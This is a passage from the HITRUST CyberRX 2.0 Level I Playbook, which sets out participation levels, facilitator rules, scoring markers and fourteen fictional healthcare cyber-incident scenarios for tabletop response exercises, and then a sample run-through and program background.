within the healthcare industry. –Eligibility: Organizations with a Level I Certificate. –Goals: The goal of the Level II exercise is to integrate healthcare organizations with mature cyber security programs into a more robust cyber incident that will challenge incident response procedures, hone their organizations skills against a realistic adversary as well as enhance industry information sharing and collaboration across the healthcare ecosystem. –Certificate of Achievement: Organizations that successfully complete an exercise will receive a HITRUST CyberRX Level II Certificate of Completion. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC7 << Back to Contents –Target Organization: This level is designed for healthcare organizations that have implemented cyber programs and safeguards. Many of these organizations will have adopted the HITRUST CSF and cyber threat monitoring capabilities in place. • Level III – National (Leading): This level offers qualified participants a comprehensive simulation to evaluate internal and external cyber threat readiness, response and crisis management. It is anticipated that approximately 50 organizations will be selected in addition to the DHHS and HITRUST Cyber Threat Intelligence and Incident Coordination Center (C3) for participating in this event. –Eligibility: Any organization can participate in the Level III national CyberRX event with other industry leading organizations, HITRUST C3 and DHHS once an organization has achieved a Level II certificate from a HITRUST-sponsored regional event. –Goals: The Level III goals are for leading healthcare organization to: (a) demonstrate leading cyber prevention, response and threat intelligence practices; and (b) develop innovative information sharing models with government and across the healthcare ecosystem (c) continue to strengthen relationships and partnerships between leaders and rising healthcare organizations to fortify overall industry preparedness. –Certificate of Achievement: Organizations that successfully complete a national exercise will receive a HITRUST CyberRX Level 3 Certificate of Completion. –Target Organization: This level is designed for healthcare organizations that have very mature implementations of cyber security including cyber threat intelligence capabilities. Participants seeking to progress to the next level of participation must obtain a certification of completion from the prior level. HITRUST will designate CyberRX observers, a list that currently includes all HITRUST CSF Assessor organizations. All organizations, directly participating or not, will also benefit from the CyberRX Exercise Playbook, a set of best practices developed in coordination with the CyberRX steering committee, HITRUST and DHHS. Estimated Timing We anticipate Level I exercises beginning in October 2014 with Level II starting in June 2015 and Level III is currently yet to be determined. More information on the CyberRX program can be found at www.hitrustalliance.net/cyberrx. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC8 << Back to Contents Participant Rules Depending on the participation level and goals of the organization, a tabletop exercise will often be the format for conducting the exercise. Tabletop exercises can be effective when being applied in small groups of senior leaders addressing a focused issue or topic. Depending on the number of scenarios your organization decides to run, tabletop exercises can be conducted in a single day, half day or a few hours (e.g., 2-4 hrs), with the scenarios focusing on finite periods of time to address key issues (e.g., preparation phase and immediate response). Here are a few suggested guidelines: For Participants: Participants may include representatives from Security/IT, Privacy/Legal/Compliance, business/ HIMSS (and potentially others from Public Relations, Human Resources, Physical Security/Investigations and other areas, depending on your organization and scenarios selected). A facilitated group discussion allows participants to “stress test” plans or strategies to identify key issues or planning gaps. The tabletop exercise format focuses necessary actions on specific points in time, key issues, dilemmas, or required decision points. The purpose of the format is to allow an organization to delve more deeply into and identify necessary actions, decisions, or lessons learned. This can be useful as the first stage in exploring and identifying various perspectives on new or evolving issues, or in assessing the status of current policies, governance and programs. Things to keep in mind: • As a participant in this exercise, participants will be asked to suspend reality and to not “fight the scenario.” There are often events in the real world that do not occur as one might expect. The intention of a tabletop exercise is not to argue about whether or not something might happen, but to explore how participants would act/respond if it did happen. • Just as in the real world, participants may be required to make decisions with limited information. They will be required to use what information they have at hand and make the best decision they can. • No Attribution. We recommend that discussion be on a non-attribution basis – outside of the exercise, participants are asked not to attribute any statement made or action taken during the exercise to any individual or program office/department. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC9 << Back to Contents For Facilitator: The facilitator’s role is to outline the scenario, address questions to key participants, and identify additional issues. However, the facilitator does not provide the participants, or the organization with any “answers” to the exercise. There is often not a single right answer. It is up to the organization to determine the best approach and response for it. A facilitator can be from your organization or if a HITRUST CyberRX Level I Certificate of Completion is desired, the facilitator can be one of the HITRUST-approved CyberRX Facilitators. Specific Facilitator expectations include: • The role of the facilitator in a tabletop exercise is threefold: advisor, counselor, and analyst. As an advisor, the facilitator tracks the accomplishment of events related to exercise objectives, offers advice, keeps the discussion on the right track, and ensures the participant group is not wasting time on tangential issues. • The facilitator is the only one giving full attention to the process. As a counselor, the facilitator must remember that his/her role is not about imparting information, but rather drawing out information by asking the right questions and acting as the “devil’s advocate.” • As an analyst, the facilitator will interpret the rationale for the group’s discussion and ultimately assess the participant’s efforts based on the scoring rationale described in the next section. • Briefing Scenario: The facilitator will brief the scenario content and desired exercise objectives to the participants and offer updated information based on the scenario’s “playbook”. Each scenario will have associated discussion questions to draw out key decisions and required actions from the participations. It is more important to understand the process and rationale leading up to “why” an action/decision was made rather than the actual decision itself. The facilitator should use these questions to drive the discussion. • Group Discussion: We recommend giving the group time to adjust to the discussion in a tabletop exercise setting and then focusing the discussion on key decisions related to the agenda. However, it is important that the participants (not the facilitator) make the determinations on prioritizing decisions within the exercise. Things to keep in mind: • The facilitator will not PARTICIPATE in this exercise. He/she is a NEUTRAL OBSERVER, so it is important for the facilitator to remain unbiased, observe, and resist the temptation to interject his/her own solutions/opinions. When conducting the exercise, the facilitator should: –Remember that silence and pauses in the conversation can be a good thing as it may encourage participants to speak –Start the discussion with broad questions, then narrow down to the questions which need to be addressed in the move CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC10 << Back to Contents –Insert him/herself in the discussion only to (1) clarify specific points in the scenario itself (2) ensure the team is considering all aspects of the issue and (3) keep the scenario from bogging down. –Discourage participants from stating conclusions without providing the rationale for them –Ask participants to explain how their response would work in the given timeline and who would be responsible for each decision or action • The facilitator can answer basic questions from the participants, but cannot embellish his/her answer. Any interjections should be general in nature to invite deeper discussion and inquiry from the participating individuals. • The facilitator should take notes throughout the exercise on what he/she observes, to include capturing best practices/lesson’s learned. It is critical to the hotwash debrief that the facilitator records both what was done and what was not done by the participants. These observations are critical to realizing the full value of this exercise. • The facilitator should encourage participants to have fun and keep the mood productive. We anticipate that when an organization exercises these communication links and systems we will find gaps in its processes. No one should feel poorly about the results. The goal is to improve security in this critical national asset called Healthcare. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC11 << Back to Contents Scoring Construct and Rationale HITRUST CyberRX Level I Certificate of Completion and Scoring To ensure consistency across the industry and all Level I exercises, facilitators will assess participant organizations on specific markers (“key building blocks”) to assess the strength of the organization’s cybersecurity program and efforts. In order to earn a HITRUST CyberRX Level I Certificate of Completion and be considered eligible for the Level II exercise, participant organizations working with a HITRUST-approved facilitator must meet seven (7) of the ten (10) markers. If your organization does not meet this requirement at the time of the war game, it can improve its program based on the war game findings and recommendations, and provide supplemental evidence of such enhancements to the facilitator to earn a certificate of completion for the organization. What are the 10 Markers? The following ten (10) markers are typical industry practices and are key activities, policies, or products to strengthen an organization’s cybersecurity capabilities: Marker Goal Example evaluation criteria* 1. Governance/PeopleIs the organization able to identify and bring the right people to control/remediate the cyber incident (e.g., representatives for privacy, security, PR, legal, HR, etc.)?• Were key roles and responsibilities defined and understood? • Was there communication of these responsibilities outside of the security group (or whichever group assigned the roles)? 2. Incident Response Policy and/or GuidelinesDoes the organization have written processes or guidelines for incident response triage, command and control, breach response, reporting, incident notification, authorities and long term remediation/resolution?• Were the processes and responsible parties for reporting and notification clear? • Was the documentation process clear?• Does the policy comply with the latest requirements under Omnibus Rule (e.g., 4-point test for non-disclosure)? 3. Internal Communications and EscalationTo ensure proper coordination and choreography, was an incident properly communicated across the entire organization, as appropriate (e.g., to Privacy/Legal/Compliance) and escalated to the business and senior management?• Often communication outside of Security is delayed. Was that the case in this exercise? • Was communication protocol clearly understood among participants? • Was there a discussion of the protocols to follow, such as involving the legal team, for the purposes of maintaining legal privilege? 4. TrainingTo communicate expectations, does the organization have a written training plan in place for breach identification, reporting and subsequent remediation?Does it appear the organization participants have been trained on incident response? CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC12 << Back to Contents Marker Goal Example evaluation criteria* 5. Information SharingTo help anticipate general and industry- specific threats, does the organization subscribe to and/or use threat intelligence?Does the organization receive and leverage industry-specific threat information to better understand the risks in order to take appropriate actions (e.g., subscribe to HITRUST threat intelligence, and/or connect with peers)? 6. Vulnerability & Threat Management • To minimize intrusions and incidents does the organization conduct periodic attack and penetration testing, cyber tests, intrusion detection, or other similar testing? • Does the organization have a process that requires such testing?• Did the organization refer to or leverage information from its vulnerability management processes during the war game play and response? • Does the organization have, and did the organization leverage, any advanced persistent threat (APT) scans, malware forensics, and related information for assessing and responding to the situation? 7. Asset Management and Asset/ Data Inventory To quickly and more accurately assess whether an organization could be impacted by a threat (including where it occurred and to what extent), does the organization maintain an asset inventory of key system/repositories, including mobile devices, medical devices containing PHI along with the accountable individual(s) responsible for knowing their location? Does the organization have and leverage an inventory repository in order to assess the risk, impact, and/or conduct further analysis during the exercise? 8. Vendor assessmentTo identify potential third party risks, does the organization have an inventory of key business associates and have business associate agreements in place with them? Does the organization have a process in place for maintaining such inventory?• Does the organization have a vendor assessment process included as part of its cyber programs? • Are vendors included in the organization’s incident response processes? • Are vendors aware of their roles in the incident response processes? • Have your organization’s business associate agreements been updated to comply with Omnibus Rule requirements for business associates? 9. Lessons LearnedTo identify and prevent recurring incidents and potential vulnerabilities, does your organization maintain a log of incident/breach resolutions and lessons learned? Does the organization discuss and attempt to capture lessons learned from the exercise? 10. Updating plans and policiesTo address and respond to changes in business operations, technology and/or new cyber threats, does your organization have a process to annually review and update its incident response and security/cyber plans, policies, and trainings?Did the organization discuss about updating its training or its security program to reflect lessons learned from this and/or previous incidents? * All evaluation markers may not directly apply to a selected scenario. However, evaluation criteria may be assessed directly or indirectly depending on the selected scenario (e.g., if a scenario is about malware infection on a device, marker #7 can be assessed based on whether the asset inventory is referred to for checking potential infections on other devices during the exercise). The questions are examples, and there will be some judgment involved. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC13 << Back to Contents CyberRX Playbook v2.0 Exercise Participants The CyberRX exercises are designed to affect each participant and in some cases require senior leadership involvement. The exercises target healthcare organizations and their business partners of varying types and sizes, explicitly the following participants: • Providers – hospitals, clinics, rehabilitation centers, long term care, nursing homes, outpatient services, surgery and urgent care centers • Retail and mail order pharmacies • PBMs (Pharmacy Benefit Managers) • Health Plans • Medical Research and clinical trial organizations • Business associates • General health organization Complexity of Exercises The CyberRX exercises are rated by complexity going from the least complex, one star («), to most complex, three stars («««). CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC14 << Back to Contents Exercise 1 « Your hospital utilizes an electronic health record system for managing patient care. Over the last week, a number of patients experience a severe drug reaction while admitted to the hospital. The number of instances appears to be significantly more than usual. Status Description Injection 1: Upon investigation it is determined that the patient’s electronic medical records didn’t list their drug allergies. Injection 2: Clinicians report also that drug allergies are missing from an EHR system and documentation demonstrates they were entered into the system 11 days ago. Injection 3: Upon investigation it is determined that the patient’s electronic medical records were changed, but the user ID in the change log is blank. Injection 4: Upon further investigation, you also find other unexplained data discrepancies within electronic medical records. Injection 5: HITRUST C3 publishes a report indicating a US hacktivist is targeting U.S. healthcare organizations with the intent to disrupt operations and erode consumer confidence by manipulating medical information. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC15 << Back to Contents Exercise 2 « Your organization is notified by an external party that your organization’s network diagrams (including IP addresses, Access Control List, and firewall rules) have been posted on the public GlueBin website. Status Description Injection 1: The IP that GlueBin has recorded is that of a foreign holiday resort. Injection 2: Combing through the log files, you identify a webmail client connection from the same IP address. Your organization’s webmail requires a hard token to access. Injection 3: A senior staff member has a timeshare at this resort and frequently uses their business center. You interview him and you find out that he was at the resort at the time of the posting to GlueBin but says he did not post anything to the GlueBin website. Injection 4: The senior staff member tells you that he also accessed the free wireless internet provided by the resort with his work laptop. Injection 5: You continue to monitor the GlueBin website and see additional organizational information posted to the Gluebin website using the same IP address. Injection 6: You also determine that all the files posted to the GlueBin website were also in email attachments inside the senior staff member’s mailbox prior to his trip to the resort. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC16 << Back to Contents Exercise 3 « The hospital administration receives a call from Softco Software’s President and is informed that computers from the hospital have been performing attacks on Softco Software’s website for the last two weekends. Softco is asking for an explanation before taking action on it. Status Description Injection 1: You examine your network log and find a large amount of traffic directed towards Softco Software’s website. Injection 2: You examine one of the internal computers identified by the network log and find an unfamiliar program running on the machine which is connected to an IP address in Canada on TPC port 6667 (IRC). Injection 3: You conduct a forensic exam on the machine and find out that this program was created a month prior to when a program called “super gem sorter vision quest.exe” was executed. Injection 4: Your examination also showed that the program was deleted but it was originally downloaded to the computer from an email attachment. Injection 5: You locate the email with the attachment and its subject line read “Really fun game and remember to pass it along to your friends.” The email came from a .cc version of your domain that looked like your CIO’s email address. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC17 << Back to Contents Exercise 4 « A blood gas analyzer in your organization is indicating high sodium readings for a large number of patients. This device is isolated and not connected to a network. Status Description Injection 1: A lab technician is alerted to abnormally high sodium readings during blood gas tests and takes the device out of service. Injection 2: You perform troubleshooting procedures, but can find nothing to explain the erroneous readings. Injection 3: You also check the maintenance records and they demonstrate that the device passed initial testing when it first came in. The device also has been recently patched and its operating system and software are up to date. Injection 4: You call the vendor and a field technician is sent to your location and they determine that there is malware on the stand alone device. The creation and last modified date of the malware matches the same date as the last patch was installed on the blood gas analyzer. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC18 << Back to Contents Exercise 5 « Your organization is using a custom Health Management and Billing software for their caregivers in the field. This software package has an internet facing webpage front end and a SQL server on the back end. Within the last two weeks all of their billing submissions to Medicare have been rejected due to missing procedure codes. Status Description Injection 1: You call the software vendor and they explain that the procedure codes are required fields and all of the procedure codes are hard coded into the webpage. Injection 2: You examine the SQL tables and find all the entries in the procedure code table have been deleted. You also look at the audit table and it only contains entries for the last two weeks. Injection 3: Upon examining the SQL server you find a large file containing the patient table stored on the root of the c: drive. Injection 4: You examine the web page and discover that the caregiver login name field did not perform data validation and allowed SQL statements to be sent to the SQL server. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC19 << Back to Contents Exercise 6 «« Your organization is reviewing its financial records and finds $100,000 missing from its medical equipment procurement account. Status Description Injection 1: Your audit department reviews all recent authorized orders and it confirms the missing $100,000 as a discrepancy in the account. Injection 2: Your audit department contacts your organization‘s bank and finds 10 payments of $10,000 to overseas bank accounts that were unauthorized. All of these payments were made by the same procurement manager. Injection 3: You interview the procurement manager who claims that they never made those payments. Injection 4: You conduct a forensics exam of the procurement manager’s computer. During your exam, you find that the web browser on their computer was not configured to receive updates and the computer was infected with malware. Injection 5: You also find the malware came from a faked web site designed to look like AwesomeHealthSpace.com a popular social media site for the health care industry. In addition, you find an email with the link to the fake web site that was also located on the computer inside the procurement manager’s inbox. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC20 << Back to Contents Exercise 7 «« Your organization has outsourced its mobile application coding and hosting to a popular third-party vendor who specializes in mobile health applications. You hear on the news that there was a breach of the third-party vendor’s network (i.e., the mobile health application vendor), but the vendor has not reached out to your organization yet. Status Description Injection 1: You read a report on a security blog that your organization’s customer data has been exfiltrated for months and unknown individuals have had full access to your customer’s personal data. You contact the vendor and they assure you that their networks are secure. Injection 2: The third-party vendor launches an investigation. It discovers that one of their developers had implanted a backdoor in a common application code library which is used in multiple products of theirs, including the one utilized by your organization. Injection 3: You are contacted by the DHHS Cyber Threat Analyst Center and they inform you that they have identified the blogger as a member of a Chinese hacktivist group. Injection 4: Several media outlets publish the blogger’s claim. Injection 5: Your organization starts receiving customer complaints and so does the DHHS Office for Civil Rights (OCR) regarding the breach. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC21 << Back to Contents Exercise 8 «« Your organization specializes in outpatient service and is notified that 150,000 records relating to 100,000 of its patients have been accessed by an unauthorized party through a health information exchange (HIE). Status Description Injection 1: The local media releases the news of the breach and requests comment from your organization. Injection 2: Your organization receives an email requesting one million dollars be transferred within eight hours to a foreign account or the perpetrator will release the information. Injection 3: You quickly conduct an investigation into the claim. You determine that a former foreign contractor has accessed some of the records possibly using an admin account that was shared among IT professionals supporting the HIE. Injection 4: You discover that the foreign contractor is no longer within the United States and is in a country without an extradition treaty. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC22 << Back to Contents Exercise 9 «« Your organization is alerted that medical images of your patients are starting to show up on the 5chun discussion board. Status Description Injection 1: You are able to determine that all the records have the same physician in common. Injection 2: You determine that the leaked data includes 50 records from patients under the age of 18. Injection 3: You interview the physician and he informs you that he connects his tablet to his work PC with auto-sync enabled for viewing patient data and has synced more than 2000 records. Injection 4: During your interview, the physician also tells you that he cannot find his tablet, and it appears to be missing. Your asset management system shows that his tablet was encrypted with a password. You ask the physician how strong of a password he used and he tells you that he used “PASSWORD”. Injection 5: Your network logs show that his tablet has been beaconing home and is now in a neighboring state. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC23 << Back to Contents Exercise 10 ««« A law enforcement agency informs your organization that a copy of your EHR database has been found on a seized system. Status Description Injection 1: The seized system also contained source code for the EHR system. Injection 2: The application and compromised data is hosted by a cloud service provider (CSP) and does not reside inside of your network. The CSP provides Infrastructure as a Service (IaaS) hosting. Injection 3: The CSP claims no responsibility for breach notification or monitoring since the breach was at the application level. The CSP provides the access logs of the management console. There are unaccounted for connections from outside your network. Injection 4: During the forensic investigation of the CSP hosted EHR system you identify numerous failed log in attempts recorded 3 months ago to the web front end of the EHR application, and then a dramatic drop in the number of attempts. The initial forensics investigation of the machine images hosted at the CSP reveals that the CSP management console and the web front end server shared passwords. Injection 5: There is a direct link to link connection from your network to the CSP . Your forensics investigation reveals that there were unauthorized access attempts into your network from the CSP IaaS environment. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC24 << Back to Contents Exercise 11 ««« Three patients undergoing radiation therapy at your organization immediately start to show signs of symptoms of severe radiation sickness after receiving treatments from your organization. A doctor was called in to examine these patients and he determined that they all received unsafe levels of radiation during their treatment. Status Description Injection 1: Your Oncology department runs a diagnostic, which does not identify any problems, but manual testing shows unsafe treatment levels. The manufacturer sends a technician who cannot find any issue with the system, but suspects sabotage and notifies the FDA. The FDA then brings in the FBI to conduct an investigation. Injection 2: Investigation by FBI highlights the fact that the console for the treatment management system which was used by the radiation therapy equipment to maintain patients’ data and administer dosage was running on an operating system past its patch life cycle. Your organization had not upgraded or patched the system recently. Injection 3: The company who made the treatment management system is the only provider of patches for the system. The treatment management system also could only be run on its current operating system. The system had not been patched since it was installed. Injection 4: Your investigation reveals that the treatment management system was not listed on any security asset list and had not been scanned for vulnerabilities. Injection 5: FBI detects malware in the radiation therapy equipment. The malware had AV avoidance/ disabling features which also disabled other system safeguards leading to the over exposure. None of the equipment vendor’s supplied patches would have prevented the malware from disabling the safeguards. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC25 << Back to Contents Exercise 12 ««« A web application vulnerability/exploit has been published at DefCon for a common piece of open source software which is the base of many security tools and software applications. The software is used for input with establishing encrypted connections. Status Description Injection 1: The vulnerable open source software is integrated into the solutions provided by multiple security vendors. One of your staff, who attended DefCon, checks your systems and finds many of the webservers, VPNs, & firewalls utilize this tool. Injection 2: The vulnerability has been there for at least two years but has only recently been brought to public attention. Injection 3: Your staff recommends migrating your organizations’ webservers to a competing secure fork but you are unable to secure the VPN and firewall. Both of these are dependent on the manufacturer for updates. Injection 4: The firewall starts detecting a high number of attacks on the VPN, trying to exploit the vulnerability. Injection 5: The firewall is past end of support and the manufacturer is no longer updating the OS. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC26 << Back to Contents Exercise 13 ««« You receive an automated alert that a medical information database was accessed between 1:00am – 3:00am. There was no scheduled maintenance overnight. Status Description Injection 1: You find a log file indicating that the database was accessed by the default administrator account. Injection 2: The Database Administrator determines that the account name was “administrator” and the password “admin2014”. Injection 3: The database contained prescription and demographic information on a large number of patients. Injection 4: The database also includes financial information that your organization had no authority or legitimate reason to collect. The collection of the information was contrary to your organization’s privacy policies, and the public is unaware that this additional information was collected. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC27 << Back to Contents Exercise 14 ««« A Security Information and Event Management system (SIEM) at your organization alerts on a connection and the transfer of large amounts of data to StopBox, a cloud storage hosting service. The transfer is ongoing. Status Description Injection 1: Your network administrator attempts to block StopBox, but discovers that StopBox is similar to VOIP software that has firewall avoiding technology. The StopBox traffic is encrypted and can utilize peer-to-peer communication. Your network administrator also discovered that several executives were using StopBox. Injection 2: You trace back the traffic and identify that a clinical intern was responsible for the data transfer. The intern was using PII data for research on their home computer. You confront the intern. She apologizes and promises to delete all the data off of StopBox. She also states that she will delete the data off her home computer once she receives it back from the NerdHerd technicians repairing it. Injection 3: StopBox has a restore feature for deleted files that cannot be disabled. Injection 4: The intern informs you that NerdHerd had to perform a full system restore due to malware they found on it. Injection 5: You receive word that a patient with a unique name who has a google alerts set for their name has received notifications of their PII being posted. They have reached out to your organization for clarification. Assumptions Made by the Organization During the Exercise Positive Observation Areas for Improvement CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC28 << Back to Contents Status Description Injection 1: IT helpdesk logs a ticket for a stolen laptop in the ticketing tool and notifies the information security, compliance, and privacy offices. Injection 2: The privacy office contacts the police which confirm that they did receive a call from Dr. Jane reporting a burglary at her residence at 2:00am on Saturday. Injection 3: You perform a risk assessment which reveals that the laptop contained specific patient data such as lab testing, treatment and diagnosis data related to a new drug trial. Injection 4: You determine that her laptop also had social security numbers and other PII which should not have been collected on about 10,000 individuals. Dr. Jane was not authorized to have this information. Example Scenario Run Through In this section we will run through a scenario as an example. This example is designed to foster thought and get your organization thinking about the risks, issues, and the parties involved that each unique scenario may bring to bear. This example should not be thought of us as a prescriptive way of running the exercise. Organizations are encouraged to bring their unique skills and experience to bear to ensure the uniqueness of your organization is reflected in the exercise. This section includes an Exercise Planning Checklist and a table of Sample Issues and Questions that may have been identified during the Sample Exercise explained below. Sample Exercise ««« Monday morning your IT helpdesk receives a call from Dr. Jane and she informs them that her encrypted laptop was stolen from her home during a burglary. Your helpdesk is also informed that a USB drive was in the laptop, but she doesn’t recall what is on the device. Additionally, she reveals that she had written her user name and password on a note next to the laptop. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC29 << Back to Contents Step Description Notes Conduct the ExerciseIntroductions• Have participants introduce themselves and their role in the exercise Explanation to Participants• Explain the exercise • No time pressure• No right or wrong answer• Exercise designed to stimulate discussion• Treat it as a real scenario Begin Exercise• Facilitator introduces the scenario• Let discussions evolve naturally• Identify risks and issues, steps to be followed, etc.• Identify internal and external participants in the scenario• Use non-leading questions to stimulate conversation. For example, “what would you do this in this situation?” • Facilitator will provide injections as needed Document the Exercise• Take notes during the discussions • Forms a basis for after exercise review • Note areas that need more research• Summarize take home points • Document issues identified Evaluate the Exercise After Exercise Review• Give participants a 10 to 15 minute break • Review exercise objectives again• Solicit participant feedback• Document conclusions or decisions from the exercise• Document the organization’s maturity level by using the 10-Markers system starting on Page 12. Post Exercise ActivitiesDevelop Corrective Action Plan Track Corrective Action Track Lessons Learned• Track and remediate corrective actions • Document remediation and lessons learned• Save results for next CyberRX exercisesExercise Run Through CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC30 << Back to Contents Sample Issues and Questions Identified During the Exercise Sample Issues/Questions 1. How were the information security, compliance, and privacy offices notified? Via email, cell phone, text? 2. Do the information security, compliance, and privacy offices know what to do once they are notified? 3. Who takes the lead in your organization when an incident occurs? 4. What is the internal SLA within the organization to respond to a breach? 5. Does the organization have an incident response calling tree that is provided to the Help Desk? 6. Was the organization’s Incident Response Plan put in action? 7. Did the team meet virtually or in-person? 8. How often does the team reconvene to discuss the breach? 9. Was there an asset inventory record for this laptop? 10. Was the laptop encrypted? How was this determined? 11. Was the USB encrypted? How was this determined? 12. How was the data contained on the laptop verified? 13. Can the laptop be remotely wiped? 14. Does the laptop have a LoJack type device? 15. Why did Dr. Jane take so long to notify the organization of the breach? What is the required timeframe for reporting a breach? CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC31 << Back to Contents 16. Was there a legitimate business reason for Dr. Jane to have the PHI data on her laptop? 17. When was the last time that Dr. Jane received security awareness training? 18. Is there a signed employee agreement on file for Dr. Jane where she agrees to abide by the organization’s policy and procedures? 19. Does your organization have an employee sanction policy? 20. Was Dr. Jane disciplined per the employee sanction policy? 21. What was law enforcements role in this breach? 22. What breach notifications were sent out by the organization? 23. What external organizations were notified of the breach? 24. Was internal and/or external counsel notified and involved in the breach? CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC32 << Back to Contents Appendix A – About CyberRX Background, Overview and Lessons Learned Launched in January 2014, in response to growing concerns within the industry and government regarding the current state of cyber threat preparedness and response through a partnership of HITRUST and the U.S. Department of Health and Human Services (DHHS) as an industry-wide effort to conduct exercises to simulate cyber-attacks on healthcare organizations and government with the results used to evaluate the industry’s response and threat preparedness against attacks and attempts to disrupt U.S. healthcare industry operations. CyberRX includes the participation of providers, health plans, prescription benefit managers, pharmacies, medical and pharmaceutical manufacturers, and government agencies such as the DHHS. The program includes scenarios that examine both broad and segment-specific scenarios targeting information systems, medical devices and other essential technology resources of the healthcare industry. The CyberRX program is overseen by a steering committee comprised of representatives from industry, in addition to HITRUST and DHHS. There are working groups established with industry representatives and other subject matter experts (as well as HITRUST and DHHS representation) to develop and maintain the program playbook that outlines the rules, responsibilities, and scenarios of the exercise and organizational referees. The inaugural Spring 2014 exercise held on April 1, 2014 was a full-day interactive simulation observed by Booz Allen Hamilton. The scenarios examined both broad and segment-specific scenarios targeting information systems, medical devices and other essential technology resources of the healthcare industry. The participants were made of up leading healthcare providers, health plans, prescription benefit managers, pharmacies, HITRUST Cyber Threat Intelligence and Incident Coordination Center (C3) and DHHS. From the Spring 2014 exercise, there were several lessons learned, including: • Allow for broad industry participation to ensure healthcare organizations of all sizes and types can effectively mitigate the risks posed by cyber threats. • Create events and simulation scenarios of various and increasing levels of sophistication to keep pace with mounting, increasingly complex cyber threats. • Include heightened use of HITRUST C3 cyber threat intelligence, and industry collaboration and incident response capabilities as a means to better inform and promote information sharing across the healthcare ecosystem. • Ensure an industry framework exists that incorporates cyber threats that are comprehensive and up to date. HITRUST has committed to linking cyber threat intelligence to CSF controls and publishing monthly supplemental control guidance when compensating controls are found to be deficient, and updating the CSF controls based on this guidance. The complete findings for the Spring 2014 exercise are available at www.hitrustalliance.net/cyberrx/. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC33 << Back to Contents Based on the success of the healthcare industry’s first CyberRX exercise and incorporating observations and findings relating to the program, HITRUST, in coordination with DHHS, is launching CyberRX 2.0. Following the success of the first CyberRX exercise, more than 1000 healthcare organizations of various sizes and level of cyber maturity signed-up to participate in the next exercise. As a result, the steering committee wanted to establish a CyberRX 2.0 exercise approach that supports a large percentage of the healthcare industry, allows organizations with varying levels of knowledge and resources to engage in and benefit from the program, while not burdening or minimizing the value to other participants. In order to accommodate the larger than anticipated number of participants the program has been expanded. CyberRX 2.0 is a 